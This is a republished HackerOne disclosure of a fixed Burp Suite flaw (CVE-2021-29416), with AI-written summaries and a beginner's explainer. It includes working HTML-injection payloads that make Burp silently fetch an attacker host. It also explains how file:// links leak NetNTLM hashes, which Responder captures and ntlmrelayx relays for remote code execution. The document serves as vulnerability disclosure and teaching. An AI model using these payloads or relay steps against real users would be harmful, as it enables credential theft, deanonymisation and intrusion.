Skip to content
SSRF Disclosed report Intermediate CVE-2021-29416

HTML Injection in Swing can disclose netNTLM hash or cause DoS

Burp Suite's HTML rendering of intercepted requests could trigger unsolicited hidden requests to attacker-controlled URLs, bypassing proxy settings and potentially leaking the user's real IP address or NetNTLM hash. An attacker could also cause a denial of service by keeping the connection open.

issuefinder Follow

Originally disclosed on HackerOne

Bounty$1,000 Medium View original
  • Triaged in 11 hours
  • Fixed in 3 months
  • Paid in 10 days
  • Disclosed after 4 months

Summary by the program

@issuefinder found a vulnerability that could result in Burp Suite issuing requests that do not respect its upstream proxy configuration and could leak NetNTLM hashes on Windows systems that fail to block outbound SMB.

This was fixed in 2020.12, and additional hardening to prevent future injections being used to leak netNTLM hashes was introduced in 2021.2

The report

The vulnerability is like a SSRF but on the client side, where an attacker can force an unsolicited hidden request made by Burp Suite when the victim performs some actions. During normal browsing to a website through Burp Suite (Pro or Community), if the website makes a request with HTML code in a GET parameter or in a POST body, and the auditor (the victim):

  • Intercepts that request, or
  • Selects that request in HTTP history (Proxy tab), or
  • Sends that request to repeater, or
  • In repeater, makes any change to the HTML code (preserving the main structure),

Burp Suite will do an unsolicited hidden request to the destination specified in the "img" or "link" HTML tags.

Next, you can see a GET and a POST example that trigger an unsolicited hidden request to "http://www.rec2.ml/leak" just by pasting them on a repeater tab:

GET request (using the "img" tag)

GET /burpsuite_leak_vuln-leak_impact.html?=<html>{{media:0}} HTTP/1.1

POST request (using the "link" tag)

POST /burpsuite_leak_vuln-leak_impact.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded

=<html><link+rel='stylesheet'+href='http://www.rec2.ml/leak'>

In fact, a smaller payload to produce the same behaviour can be achieved by pasting the following on a repeater tab:

?=<html>{{media:1}}

Impact

An attacker can exploit this vulnerability in at least 4 different ways:

##1. Real public IP address leak

The unsolicited hidden request does not respect the configuration in User options tab:

  • Upstream Proxy Servers
  • SOCKS proxy

An auditor (the victim), trying to hide his real public IP address from an audited website (using an upstream proxy server or a SOCKS proxy), would be leaking it without being aware of this fact.

Affected OS: Linux, MacOS, Windows PoC video: burpsuite_leak_vuln-leak.mp4

##2. Windows NetNTLM hashes leak

If the HTML code uses the “file://” scheme instead of the “http[s]://” , it will produce an unsolicited hidden request using the SMB protocol that will negotiate and leak the auditor's:

  • Username
  • Computer name or domain
  • NetNTLM hash

The NetNTLM can be cracked and therefore used at a later stage. To negotiate and get the NetNTLM hash an attacker can use Responder (https://github.com/lgandx/Responder).

Affected OS: Windows PoC video: burpsuite_leak_vuln-netntlm.mp4

##3. RCE on other machines

To perform this attack in the best scenario, an attacker must be on the same internal network with network visibility with the victim (auditor). This attack is a variant of the previous one (2. Windows NetNTLM hashes leak) in which, instead of cracking the NetNTLM hash, the attacker does a MiTM to relay the SMB negotiation to other machines (without SMB signing enabled) and obtain a RCE in the context of the victim.

The HTML code must also use the “file://” scheme instead of the “http[s]://” , to produce an unsolicited hidden request using the SMB protocol. To relay the SMB negotiation an attacker can use ntlmrelayx (https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py).

Affected OS: Windows PoC video: burpsuite_leak_vuln-rce.mp4

##4. Denial of Service (DoS).

If the attacker does not respond to the unsolicited hidden request made by Burp Suite and keeps the TCP connection open, then it can freeze Burp Suite execution, forcing the auditor (victim) to lose the unsaved changes.

Affected OS: Linux, MacOS, Windows PoC video: burpsuite_leak_vuln-dos.mp4

Attachments

burpsuite_leak_vuln-leak.mp4 From the original on HackerOne
burpsuite_leak_vuln-netntlm.mp4
burpsuite_leak_vuln-dos.mp4

The original report as published on HackerOne, by issuefinder. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Burp Suite, in both the Pro and Community editions, is the interception proxy most auditors sit behind while testing a site. When you intercept a request, select one in HTTP history, send one to Repeater, or edit one in Repeater, Burp can act on HTML it finds inside the message.

The bug reported here is a client-side request forgery: an attacker who controls a website being browsed through Burp can plant HTML in a request (in a GET parameter or a POST body) and have Burp itself issue a hidden, unsolicited request to a destination the attacker chooses. The program's summary describes the result as Burp issuing requests that do not respect its upstream proxy configuration, and as a way to leak NetNTLM hashes on Windows systems that fail to block outbound SMB. It was fixed in 2020.12, with additional hardening against NetNTLM hash leakage introduced in 2021.2.

Setup

The precondition is ordinary: a victim browsing a website through Burp Suite Pro or Community, with the attacker controlling that website. No special role or account is needed on the Burp side. The attacker needs a host to receive the hidden request (the report uses http://www.rec2.ml/leak), and for the SMB variants a way to catch or relay the negotiation: Responder for hash capture, ntlmrelayx for relaying. The DoS variant needs only the ability to hold a TCP connection open.

Finding it

When a request containing HTML in a parameter or body is handled by Burp, Burp makes an unsolicited hidden request to the destination specified in the img or link tags. Because this fetch is made by Burp rather than by the browser, it is invisible to the auditor and, crucially, it does not go through the proxy settings the auditor configured to hide their origin.

Exploitation

The trigger is any of four actions by the auditor on a request that carries HTML in a GET parameter or POST body:

  1. Intercepting that request.
  2. Selecting that request in HTTP history (Proxy tab).
  3. Sending that request to Repeater.
  4. In Repeater, making any change to the HTML code while preserving the main structure.

When any of these happens, Burp makes an unsolicited hidden request to the destination named in the img or link tag.

Step 1: trigger with a GET request

The report gives a GET example that fires a hidden request to http://www.rec2.ml/leak using the img tag, simply by pasting it into a Repeater tab:

HTTP
GET /burpsuite_leak_vuln-leak_impact.html?=<html>{{media:0}} HTTP/1.1

The HTML sits in the query string of the request line, and Burp makes a hidden request to the destination in the img tag.

Step 2: trigger with a POST request

The POST example uses the link tag instead, with the HTML in a form-encoded body:

HTTP
POST /burpsuite_leak_vuln-leak_impact.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded

=<html><link+rel='stylesheet'+href='http://www.rec2.ml/leak'>

Here the link element's href points at the attacker host, and Burp makes a hidden request to it.

Step 3: a smaller payload

The report notes that a smaller payload produces the same behaviour when pasted into a Repeater tab:

Text
?=<html>{{media:1}}

Step 4: choose the impact

The researcher describes four ways to exploit the hidden request.

1. Real public IP address leak

The hidden request ignores the User options tab configuration for Upstream Proxy Servers and SOCKS proxy. An auditor who is trying to hide their real public IP address from an audited website by using an upstream proxy server or a SOCKS proxy therefore leaks that address without being aware of it. This affects Linux, MacOS and Windows.

burpsuite_leak_vuln-leak.mp4 From the original on HackerOne

2. Windows NetNTLM hash leak

If the HTML uses the file:// scheme instead of http[s]://, the hidden request is made over the SMB protocol, which negotiates and leaks the auditor's username, computer name or domain, and NetNTLM hash. The hash can be cracked and used at a later stage. To negotiate and capture the hash, the attacker can use Responder (https://github.com/lgandx/Responder). This affects Windows.

burpsuite_leak_vuln-netntlm.mp4 From the original on HackerOne

3. RCE on other machines

This is a variant of the NetNTLM leak. In the best scenario the attacker is on the same internal network with network visibility of the victim. Rather than cracking the hash, the attacker performs a MiTM and relays the SMB negotiation to other machines that do not have SMB signing enabled, obtaining RCE in the context of the victim. The HTML must again use the file:// scheme so that the hidden request goes out over SMB. To relay the negotiation the attacker can use ntlmrelayx (https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py). This affects Windows.

4. Denial of Service

If the attacker does not respond to the hidden request and keeps the TCP connection open, Burp Suite execution can freeze, forcing the auditor to lose unsaved changes. This affects Linux, MacOS and Windows.

burpsuite_leak_vuln-dos.mp4 From the original on HackerOne

Root cause

Burp makes an unsolicited hidden request to the destination specified in img or link tags found in intercepted, logged or Repeater messages. Because those requests originate from Burp rather than from the browser, they bypass the proxy configuration the user set for their browsing traffic, and on Windows they can be made over SMB via file://. The report does not describe the internal code path.

Impact

An attacker who controls a site browsed through Burp can, without any action beyond the auditor intercepting, selecting, sending or editing the request, cause Burp to contact an attacker-chosen destination. Depending on the scheme and the attacker's position, this discloses the auditor's real public IP address (Linux, MacOS, Windows), leaks username, computer or domain name and NetNTLM hash over SMB (Windows), enables relay to unsigned-SMB machines for RCE when the attacker has network visibility (Windows), or freezes Burp and loses unsaved work (all three platforms).

Fix

Burp Suite 2020.12 fixed the vulnerability. Additional hardening to prevent future injections from being used to leak NetNTLM hashes was introduced in 2021.2.

Variants to test

  • Put HTML in other message positions (headers, multipart bodies, JSON values) and see whether Burp still resolves img or link references. A positive result is a hidden request arriving at your listener.
  • Try other schemes and elements that cause a fetch, and watch for SMB negotiation with Responder. A positive result is a captured NetNTLM hash.
  • Configure an upstream proxy or SOCKS proxy in Burp and repeat the payload. A positive result is the hidden request arriving directly rather than through the configured proxy.
  • Point the payload at a host you control that accepts the connection and never replies. A positive result is Burp freezing.

Hunting notes

The signal is a component that parses HTML from messages the user did not intend to execute. The researcher demonstrated the impacts with proof-of-concept videos: proxy bypass for IP leakage, Responder capture for the NetNTLM hash, and a stalled connection for the DoS. That separation of impacts, each tied to a concrete precondition and affected OS, is what makes the report actionable for the vendor.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

What happened, in plain words

Imagine you are a security tester. You sit between a website and your browser with a special tool that lets you look at every message going back and forth. That tool is called Burp Suite, and it is made by a company called PortSwigger. Most people who test websites for a living use it.

Burp Suite does more than just show you messages. When it shows you a message, it also reads the content inside it. If that content contains HTML (the language web pages are written in), Burp tries to understand it, and sometimes it fetches things the HTML points to, such as images or stylesheets.

The problem is that an attacker who controls a website can put HTML into a message. When the tester looks at that message inside Burp, Burp itself makes a hidden request to wherever the HTML points. The tester never sees this happen. The request comes from Burp, not from the browser, so it ignores the proxy settings the tester set up to hide their location.

The program's summary puts it this way: Burp Suite could issue requests that do not respect its upstream proxy configuration, and on Windows systems that fail to block outbound SMB it could leak NetNTLM hashes. The bug was fixed in version 2020.12, and extra hardening to stop future injections being used to leak NetNTLM hashes came in version 2021.2.

The report

The researcher describes the bug as being like SSRF, but on the client side. SSRF (Server-Side Request Forgery) is when an attacker tricks a server into making a request the attacker wants. Here, the trick works on the client side: the attacker forces Burp Suite, running on the tester's own machine, to make a hidden request the tester did not ask for.

Here is the normal situation. A tester is browsing a website through Burp Suite, either the Pro or the Community edition. The website makes a request that contains HTML code, either in a GET parameter or in a POST body. Then the tester does one of these things:

  1. Intercepts that request.
  2. Selects that request in HTTP history (the Proxy tab).
  3. Sends that request to Repeater.
  4. In Repeater, makes any change to the HTML code while keeping the main structure.

When any of those happens, Burp Suite makes an unsolicited hidden request to the destination named in the img or link HTML tags.

A quick word on the terms. A GET request is a request that asks a server for something, with the details carried in the URL. A POST request sends data in the body of the message instead. A parameter is a named value attached to a request, like a label on a parcel. Intercepting means pausing a message so you can look at it before it moves on. HTTP history is a list of every message Burp has seen. Repeater is a Burp feature that lets you take a message, edit it and send it again and again to see what comes back. The img tag is HTML for an image, and the link tag is HTML for an external resource such as a stylesheet. Both tell the browser (or, here, Burp) to go and fetch something.

Next, you can see a GET and a POST example that trigger an unsolicited hidden request to http://www.rec2.ml/leak just by pasting them on a Repeater tab.

GET request (using the "img" tag)

HTTP
GET /burpsuite_leak_vuln-leak_impact.html?=<html>{{media:0}} HTTP/1.1

Line by line: GET is the method, meaning "please give me this". /burpsuite_leak_vuln-leak_impact.html is the path being requested. The ? starts the query string, which is where parameters go. =<html>... is the parameter value, and inside it sits HTML code. HTTP/1.1 says which version of the HTTP protocol is being used. The point of this example is that the HTML is carried in the URL itself. When Burp reads the message, it makes a hidden request to the destination in the img tag.

POST request (using the "link" tag)

HTTP
POST /burpsuite_leak_vuln-leak_impact.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded

=<html><link+rel='stylesheet'+href='http://www.rec2.ml/leak'>

Line by line: POST is the method, meaning "here is some data for you". The path follows, then HTTP/1.1. The Content-Type header tells the receiver how the body is formatted; application/x-www-form-urlencoded is the format a normal web form uses, where spaces become + and special characters are encoded. After the blank line comes the body: =<html><link+rel='stylesheet'+href='http://www.rec2.ml/leak'>. The + signs stand for spaces, so this reads as <link rel='stylesheet' href='http://www.rec2.ml/leak'>. That is a link tag telling the reader to load a stylesheet from the attacker's host. Burp makes a hidden request to it.

In fact, a smaller payload to produce the same behaviour can be achieved by pasting the following on a repeater tab:

Text
?=<html>{{media:1}}

This is just a query string starting with ?, then a parameter value containing HTML. The point is that the attacker does not need a long, complicated payload. A very short piece of HTML is enough to make Burp go and fetch something.

Impact

An attacker can exploit this vulnerability in at least 4 different ways.

1. Real public IP address leak

The unsolicited hidden request does not respect the configuration in the User options tab:

  • Upstream Proxy Servers
  • SOCKS proxy

A proxy is a middleman server that your traffic goes through. Testers often use one so that the website they are testing sees the proxy's address instead of their own. An upstream proxy server is a proxy configured inside Burp for Burp's own outgoing traffic. SOCKS is another proxy protocol, and Burp can be told to send traffic through a SOCKS proxy too. The whole point of these settings is to hide the tester's real public IP address, which is the address that identifies their internet connection to the outside world.

An auditor (the victim), trying to hide his real public IP address from an audited website by using an upstream proxy server or a SOCKS proxy, would be leaking it without being aware of this fact. In other words, the hidden request goes straight out from the tester's machine, not through the proxy, so the attacker's server sees the real address.

Affected OS: Linux, MacOS, Windows.

burpsuite_leak_vuln-leak.mp4 From the original on HackerOne

2. Windows NetNTLM hashes leak

If the HTML code uses the file:// scheme instead of the http[s]://, it will produce an unsolicited hidden request using the SMB protocol that will negotiate and leak the auditor's:

  • Username
  • Computer name or domain
  • NetNTLM hash

A scheme is the first part of a link, the bit before ://, which tells the computer how to reach the destination. http and https are for web pages. file:// normally means a file on your own computer, but on Windows it can also point at a network share, and network shares are reached with a protocol called SMB (Server Message Block).

When a Windows computer connects to an SMB share, it proves who it is. It does this with a challenge and response: the server sends a challenge, and the computer answers using a value derived from the user's password. That answer is the NetNTLM hash. It is not the password itself, but it can be cracked offline, meaning an attacker can take it away and try passwords against it at leisure until one matches. The negotiation also reveals the username and the computer name or domain.

The NetNTLM can be cracked and therefore used at a later stage. To negotiate and get the NetNTLM hash an attacker can use Responder (https://github.com/lgandx/Responder). Responder is a tool that pretends to be the server on the network, so the victim computer talks to it and hands over the hash.

Affected OS: Windows.

burpsuite_leak_vuln-netntlm.mp4 From the original on HackerOne

3. RCE on other machines

RCE stands for Remote Code Execution: the attacker manages to run their own commands on someone else's machine. That is about as bad as it gets.

To perform this attack in the best scenario, an attacker must be on the same internal network with network visibility with the victim (auditor). In plain terms, the attacker needs to be able to see and intercept traffic on the network the tester is using.

This attack is a variant of the previous one (2. Windows NetNTLM hashes leak) in which, instead of cracking the NetNTLM hash, the attacker does a MiTM to relay the SMB negotiation to other machines (without SMB signing enabled) and obtain a RCE in the context of the victim. MiTM means man in the middle: the attacker sits between two parties and passes messages along, possibly changing them. Relaying means taking the victim's authentication attempt and forwarding it to a different machine, so that machine thinks the victim is logging in to it. SMB signing is a protection that proves a message really came from who it claims; without it, a relayed authentication can be accepted.

The HTML code must also use the file:// scheme instead of the http[s]://, to produce an unsolicited hidden request using the SMB protocol. To relay the SMB negotiation an attacker can use ntlmrelayx (https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py). ntlmrelayx is a tool from the impacket collection that does exactly this relaying.

Affected OS: Windows.

4. Denial of Service (DoS)

A Denial of Service is when something is made unusable rather than broken into. Here it means freezing Burp Suite so the tester cannot work.

If the attacker does not respond to the unsolicited hidden request made by Burp Suite and keeps the TCP connection open, then it can freeze Burp Suite execution, forcing the auditor (victim) to lose the unsaved changes. TCP is the underlying protocol that carries web traffic; a connection is a conversation between two machines. If the attacker accepts the connection and then never answers, Burp can freeze. Any work the tester had not saved is lost.

Affected OS: Linux, MacOS, Windows.

burpsuite_leak_vuln-dos.mp4 From the original on HackerOne

Attachments

burpsuite_leak_vuln-leak.mp4 From the original on HackerOne
burpsuite_leak_vuln-netntlm.mp4
burpsuite_leak_vuln-dos.mp4

Glossary

  • API: a way for one piece of software to talk to another, like a waiter taking your order to the kitchen.
  • Burp Suite: a tool used by security testers to intercept and inspect traffic between a browser and a website.
  • Client side: happening on the user's own computer rather than on a server.
  • Community edition: the free version of Burp Suite.
  • Connection: an open conversation between two computers over a network.
  • Content-Type: a header that says how the body of a message is formatted.
  • DoS (Denial of Service): making a system unusable, for example by freezing it.
  • file:// scheme: a link prefix that points at a file, and on Windows can reach a network share.
  • GET: an HTTP method for asking a server for something, with details in the URL.
  • Header: extra information attached to a message, separate from its body.
  • HTML: the language web pages are written in.
  • HTTP: the protocol browsers and servers use to exchange web messages.
  • HTTP history: Burp's list of every message it has seen.
  • HTTPS: HTTP with encryption.
  • img tag: HTML that tells the reader to load an image from a location.
  • Intercept: to pause a message so it can be inspected before it continues.
  • link tag: HTML that tells the reader to load an external resource such as a stylesheet.
  • Linux: an operating system.
  • MacOS: Apple's operating system.
  • MiTM (man in the middle): an attacker sitting between two parties and passing messages along.
  • NetNTLM hash: a value derived from a Windows password during authentication, which can be cracked offline.
  • ntlmrelayx: a tool that forwards a Windows authentication attempt to another machine.
  • OS: operating system, the main software that runs a computer.
  • Parameter: a named value attached to a request.
  • POST: an HTTP method for sending data to a server in the body of the message.
  • Pro edition: the paid version of Burp Suite.
  • Proxy: a middleman server that traffic goes through, often used to hide your real address.
  • Public IP address: the address that identifies your internet connection to the outside world.
  • Query string: the part of a URL after the ?, where parameters go.
  • RCE (Remote Code Execution): running your own commands on someone else's machine.
  • Repeater: a Burp feature for editing a message and sending it again.
  • Responder: a tool that pretends to be a server on a network to capture authentication hashes.
  • Scheme: the first part of a link, before ://, that says how to reach the destination.
  • SMB (Server Message Block): the protocol Windows uses to reach network shares.
  • SMB signing: a protection that proves an SMB message really came from who it claims.
  • SOCKS proxy: a type of proxy that Burp can send its traffic through.
  • SSRF (Server-Side Request Forgery): tricking a server into making a request the attacker wants.
  • Stylesheet: a file that describes how a web page should look.
  • TCP: the underlying protocol that carries web traffic reliably.
  • Upstream proxy server: a proxy configured inside Burp for Burp's own outgoing traffic.
  • Username: the name that identifies a user account.
  • Windows: Microsoft's operating system.

More from PortSwigger Web Security

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.